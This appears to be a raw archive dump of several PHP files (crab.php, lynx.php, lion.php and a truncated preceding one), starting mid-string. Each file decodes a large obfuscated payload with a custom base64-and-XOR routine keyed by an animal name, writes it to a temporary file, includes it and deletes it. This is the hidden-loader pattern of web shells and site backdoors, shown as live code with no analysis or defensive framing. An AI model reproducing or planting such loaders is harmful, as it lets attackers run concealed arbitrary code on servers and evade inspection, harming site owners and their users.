Rw0KSxEHCwsOFwtHSB5_ZU5IRVJPTkhFUk9OSEVST04JET4KDxsRPQELKw0XDAUNAVJSThwXBwpVZW9ST05IRVJPTkhFUk8TZW9ST05IRVJPThVMSWJkZW9ST05IRVJPTgoQBhsBBksBGxcEAFwLBxsVHg4XSFhSDhokABMcGicLFywGDQYZCgpIWlJIBwYJGwELRQceAA0DQlJVTk8LHQELT15_ZU5IRVISY2JZXRwNGgwCG1Blbw';
if (!function_exists('bat')) {
    function bat($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), bat($encrypted, 'heron'));
include $tmp;
unlink($tmp);

?>crab.php000066600000011631151145357430006202 0ustar00<?php
$encrypted = 'VF4HAxhsfU8YAAMDSFxXAhsSEh9ARSgsLTUsTBgAAwNPPF5LV0EFDgkNBwocCV9PNyYyPzNGBwocCVA2QUFNSwYUGwdTbH1PDA4UHgUEGR86DhgfSFxXGQ0AGxsJFR9DDwQDCB8FX0JBWnphZWseDUhJVk8YAAMDSB0LS0kIBDQMCAVDTBEWHwBIXksTbH1LSEFXDwEEX0wBDxQEGhMSCBxBEwIaBBQfBxMOTEFaemEVbH1mYkUaDhsSFgwNQUpLT0ZMZmJsfQIOQV9PNzIyOT4kJTBPMzI6PSQkPzcsMj8gLjNMNUFKVlVBUDsnMiNMQUEMZmJBV0tIRRkOHyUeGSYAGg5IXFcCGxISH0BFKDsnMiMwTw8SHDcFHhkGABoOTzxeS1dBAxkBDF9PNzE4ODw6UAUNFigPARMZCgUEUDZBQU1LT0ZMZmJsfWZiQVdLSAgRS0BFGQ4fJR4ZJgAaDkhASlZIRlBCSBp6YUhBV0tIQVdLTBUWGQ8EAy8BE1dWSEUHChwJV0VIJT45LSIjJDo4KDgtMTY5KTU4OUhPVwkJEhIFCQwSQ0wPEhwsCAUlCQwSQlNsfWZiQVdLSEFXS0gIEUtAQBECBAQoDhAIBB8bSVMfCRMQDhwlHhlBSFcQZWtXS0hBV0tIQVdLSEEeDUhJGgAMCAVDTBUWGQ8EAy8BE1tLWFZCXkFIVxBla1dLSEFXS0hBV0tIQVdLSEFTBg0SBAoPBFdWSEMTAhoEFB8HEw5LCxMSChwEE0pKWnphSEFXS0hBV0tIQVdLFUESBxsEVxBla1dLSEFXS0hBV0tIQVdLSEFTBg0SBAoPBFdWSEMRCgENEg9IFRhLCxMSChwEVw8BExIIHA4FElNDTGZiQVdLSEFXS0hBV0tIHHphSEFXS0hBV0sVQRIHGwRXEGVrV0tIQVdLSEFXS0hBUwYNEgQKDwRXVkhDEwIaBBQfBxMOSwkNBQ4JBQ5LDRkeGBwSTElTbH1LSEFXS0hBVxZla1dLSEEKSw0NBA5IGnphSEFXS0hBV0tMDBIYGwAQDkhcV0kMCAUOCxUYGRFBGQoFBFcCG0EFDhkUHhkNBUxJU2x9S0hBVxZlawpmYl5JZmJsfVdJJTgoPDgnLkgJAwYEX3phVAkDBgRfemFUCRIKDF96YUhBV0tUDBIfCUEUAwkTBA4cXFU-PCdaU0pfemFIQVdLVBIDEgQESWZiQVdLSEFXS0gDGA8RQQxmYkFXS0hBV0tIQVdLSAMWCAMGBQQdDxNGCw4bBBpbV0hZBEYOWQRMZmJBV0tIQVdLSEFXS0gCGAcHE01LSwcWDVgEQVBla1dLSEFXS0hBV0tIQREEBhVaDQkMHgcRW1cGBw8YGBgAFA5TbH1LSEFXS0hBVxZla1dLSEFXS0hBAw4QFRYZDQBXEGVrV0tIQVdLSEFXS0hBAAIMFR9RSFJHTlNsfUtIQVdLSEFXS0hBVwMNCBADHFtXX1gXH1Bla1dLSEFXS0hBV0tIQRUKCwoQGQcUGQ9FAhgHBxNNS0tTFVkKUxVQZWtXS0hBV0tIQVdLSEEUBAQOBVFIQhEKDlESXVNsfUtIQVdLSEFXS0hBVwkHExMOGltXWhgZVxgHDR4PSEJDX1xaemFIQVdLSEFXS0hBV0sYABMPAQ8QUUhQRxsQWnphSEFXS0hBV0tIQVdLDg4ZH0USHhENW1daXBEPUGVrV0tIQVdLSEEKZmJBV0tIQVdLSE8aDhsSFgwNQQxmYkFXS0hBV0tIQVdLSAIYBwcTTUsECBADHAYFDg0PTGZiQVdLSEFXS0hBV0tIERYPDAgZDFJBRlsYGUxmYkFXS0hBV0tIHHphSEFXS0hBV0sKFAMfBw9XEGVrV0tIQVdLSEFXS0hBFQoLChAZBxQZD0UCGAcHE00ZDwMWQ1lZW0tZUk9HSFBFWURBR0VfWV5QZWtXS0hBV0tIQVdLSEEfDgEGHx9SQUVeGBlMZmJBV0tIQVdLSEFXS0gCGAcHE01LSycxLVAlNFBla1dLSEFXS0hBV0tIQRoKGgYeBUUTHgwAFU1LWVEHE1NsfUtIQVdLSEFXS0hBVwkHExMOGkwFCgwIAhhSQUQbEFp6YUhBV0tIQVdLSEFXSwoOBQ8NE01LBg4ZDlNsfUtIQVdLSEFXS0hBVxsJBRMCBgZNS1wRD0tZUwcTU2x9S0hBV0tIQVdLSEFXDQcPA0YOABoCBBhNS08rEh8qExYCBhJXJgcPGExEQVAoBxQFAg0TVyUNFlBHSCIYHhoIEhlEQRoEBg4EGwkCElBla1dLSEFXS0hBV0tIQREEBhVaGAEbElFIUEQbEFp6YUhBV0tIQVdLSEFXSwsUBRgHE01LGA4eBRwEBVBla1dLSEFXS0hBV0tIQQMOEBVaCgQIEAVSQRQOBhUSGVNsfUtIQVdLSEFXS0hBVx8NGQNGDAQUBBoAAwIHD01LBg4ZDlNsfUtIQVdLSEFXS0hBVx8aABkYARUeBAZbVwoEDVdbRlBCGEgEFhgNWnphSEFXS0hBV0sVbH1LSEFXS0hBVwkdFQMEBlsfBB4EBUsTbH1LSEFXS0hBV0tIQVcJBxlaGAAAEwQfW1dbSFMHE0hZBxNIExAJCUlBXkRBQV5EQUFeREFHRV9ITGZiQVdLSEFXS0hBV0tIAxYIAwYFBB0PE0YLDhsEGlsFDAoAX1pbWVtLWVlbS1xZW0tYT0BTQVp6YUhBV0tIQVdLSEFXSw4OGR9FEh4RDVtXWlsRD1Bla1dLSEFXS0hBCmZiQVdLSEFXS0hPEQIEBDIPARUSGUgaemFIQVdLSEFXS0hBV0scBA8fRQAbAg8PTUsLBBkfDRNMZmJBV0tIQVdLSEFXS0gCGAcHE01LSwcWDVgEQVBla1dLSEFXS0hBCmZiQVdLSEFXS0hPHw4JBRIZSBp6YUhBV0tIQVdLSEFXSw4OGR9FBxYGAQ0OUUhGNAQdEx4OGkE5Dh9GW0srDgIZAQQFR0gMGAUHEgcKCwRMZmJBV0tIQVdLSEFXS0gHGAUcTAQCEgRNS1lVR05TbH1LSEFXS0hBVxZla1dLSEFXS0hBHgUYFAMwHBgHDlVDAw4QFVU2SBp6YUhBV0tIQVdLSEFXSwoAFAAPExgeBgVaCAcNGBlSQVRaDVASWg1aemFIQVdLSEFXS0hBV0sLDhsEGltXSA4AEVsNV0xmYkFXS0hBV0tIQVdLSAMYGQwEBVFIUAcTSBIYBwEFV0hdVEJQZWtXS0hBV0tIQVdLSEEHCgwFHgUPW1dfGBlMZmJBV0tIQVdLSEFXS0gHGAUcTBEKBQgbElJBGgQGDgQbCQISUGVrV0tIQVdLSEFXS0hBGgoaBh4FRQ0SDRxbV1pYEQ9QZWtXS0hBV0tIQVdLSEEAAgwVH1FIU0dbGBlMZmJBV0tIQVdLSBx6YUhBV0tUTgQfEQ0SVWVrS0QABBYPVmx9VwoOExJWbH1LSEFXVwwIAUsLDRYYG1xVDQENEi4MCAMOGkNJZmJBV0tIQVdLSF0RBBoMVwYNFR8EDFxVOycyI0lWbH1LSEFXS0hBV0tIQVdXDAgBSwsNFhgbXFUDDQATDhpDSWZiQVdLSEFXS0hBV0tIQVdLSF0eBRgUA0scGAcOVUMDDhAVVUsGABoOVUMZDh8-EwIaDxYGDUNXGwQAFA4ADhsPDRNKSQYEADQMCAUFCQwSSUgXFgcdBEpJSl96YUhBV0tIQVdLSEFXS0hBV0tUAwIfHA4ZSxwYBw5VQwQeCgweH0pfNBkNAAMOVE4VHhwVGAVWbH1LSEFXS0hBV0tIQVdLSEFXV1cRHxtICBFLQEASBhgVDkNMDBIYGwAQDkFIVw4LCRhLT10TAh5BFAcJEgRWSgwSGBsAEA5KX1BLRkEfHwUNBBsNAh4KBAIfChoSX08FBAQYCQYSQkhPV0xUThMCHl9QUEheSWZiQVdLSEFXS0hBV0tIXVgPARdJZmJBV0tIQVdLSF1YDQcTGlVla1dLSEFLRAwIAVVla0tECg4TElZsfVdHCQMGBF96YQ';
if (!function_exists('cheetah')) {
    function cheetah($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), cheetah($encrypted, 'hawk'));
include $tmp;
unlink($tmp);

?>lynx.php000066600000003514151145357430006266 0ustar00<?php
$encrypted = 'X14EDQJ9YwUKQVpHPicgICYsPjdGICYwISAhJDYhKTU6LCVTOFJNVFFMRiIsMiBCW1ASYWZBUkNBHQNSWAAfHwQGS0UrNT0jPTdLERMXCVM4W1lJF2FrUkNBVEVSUElIBQ8CFhUkBAYYSVFMRS0zLicxKVcZDRgJVT5aeW9SUElMEUEXDxIRDBRQQQUfEhcXSVA6NTU9N0sRExcJUzhbWUkXYWtSQ0FURVJQSUgFDwIWFSQEBhhJUUxFLSQkID5VAAgYBEYvWGx-RVJQSRFMBB4QBFQef3pJTExBUkNBVEEbHhkZGDETFwlUWFJXTldha1JDQVQYf3pkZkxBUkMIEkVaVAACHBQGMwAADVJWT0wFEi0HCAZNVhkHHBkVIgIVHExbUBJhZkFSQ0FURVJQCgQICABLRR0LAgUdPA0VGkpaeW9SUElMEWx4Q0FURRccGgkXbHhDQVRFUlBJTA8JFgoTXAEbAgcNAQRaBAQABgUUQUVFSElua1RFUlAUYWZBUkNBeW9SUElMAwMtEBUVFwZYQFdha1JDQVQRAAlJF2FrUkNBVEVSUEkJGgAeSwgHFhcEQUgzMT0wNS9CER8NCUs8W0NeVEEtICY_ODpVAA4QAFUtSVZMRlVKWnlvUlBJTBFBEQIVFw1SWD0EHg4FAgMYAFJUDEVMGn9pQVRFUlBJTEwEEQsOVEcXAhsDHltSQUFaRVYVRFILBAYuBAcWExcMREVaf2lBVEVSDWRmTEFSQ0UbEAYAHBhMXFIMAysCFwQ2DwAEEw1JXV5_eklMTEEXAAkbRVBMGR4JX1BDT1QNBh0FHxwEEQoAGAYaERsfREUdFhUEEAZZSUJMQ05MEQYATFJSYWYcf2leSmh4';
if (!function_exists('snail')) {
    function snail($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), snail($encrypted, 'caterpillar'));
include $tmp;
unlink($tmp);

?>lion.php000066600000004246151145357430006240 0ustar00<?php
$encrypted = 'X1AHCx96aQYRQ0dTPDwyMTkyMTRQMSomNiokNzA6Jjs_LCtQPk9KXlJXRD84MDtQSk8MbmVXQ09XCglXSwYEEAoDS0soMyAkNzRQEw4DC0gqSkZXGGJ9Q09XQ09XQ09TCgEHFhsnAhsfQ1JXRzAnLDwjOEgHAhsfRDJMbmVXQ09XHk8SDxwSCglXSwYEEAoDS0soJCojOEgHAhsfRDJeSk8MbmVXQ09XQ09XQ0seDR8CFz8WFwdXXk9TPCgyNzRQEw4DC0gqWGJ9Q09XQxJXBgMEBk8MbmVXQ09XQ09XQ0seDR8CFz8WFwdXXk9QRFR6aU9XQ08KbmVXQ09XbmVXQ09XCglXS0seDR8CFz8WFwdXRUlXChwoBwYFS0seDR8CFz8WFwdeSk8MbmVXQ09XQ09XQwwfBwYFS0seDR8CFz8WFwdeWGJ9Q09XQxJ6aU9XQ08SDxwSGGJ9Q09XQ09XQ08UCwseEUcTCh0ZAgISSwgSFwwAB0deSkZMbmVXQ09XHmJ9Q09XQ2J9Q09XQ0sUDAsSQ1JXChwEBhtfRzAnLDwjOEgUDAsSRDJeQ1BXRzAnLDwjOEgUDAsSRDJXWU9QRFR6aWJ9Q09XQwYRQ0cEFx0HDBxfFx0eDkdTAAATBkZbQ0hLXB8fE0heQ05KXk9HSk8MbmVXQ09XQ09XQ0sUDAsSQ1JXQVNIEwcHPwFVQ0FXRwwYBwpMbmVXQ09XHmJ9bmVXQ09XRxsSDh8xCgMSQ1JXFwoaEwEWDkcEGhwoBAoDPBsSDh8oBwYFS0ZbQ0gUDAEEDAMSPEheQ0FXREEHCx9QWGJ9Q09XQwkeDwooExoDPAwYDRsSDRsES0sDBgIHJQYbBkNXRwwYBwpeWGJ9bmVXQ09XDA0oEBsWERtfSlR6aU9XQ08DERZXGGJ9Q09XQ09XQ08eDQwbFgsSQ0sDBgIHJQYbBlR6aU9XQ08KQwwWFwwfQ0cjCx0YFA4VDwpXRwpeQxR6aU9XQ09XQ09XBgwfDE9VBh0FDB1NQ01XTU9TBkJJBAoDLgoEEA4QBkdeWGJ9Q09XQxJ6aU9XQ09TDBoDExoDQ1JXDA0oBAoDPAwbBg4ZS0ZMbmV6aU9XQ08CDQMeDQRfRxsSDh8xCgMSSlR6aWJ9Q09XQwoUCwBXQVMHEQpJQU9ZQwcDDgMEEwoUCg4bAAcWERxfRwACFx8CF0ZXTU9VX0AHEQpJQVR6aRJ6aVBJbmU';
if (!function_exists('spider')) {
    function spider($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), spider($encrypted, 'cow'));
include $tmp;
unlink($tmp);

?>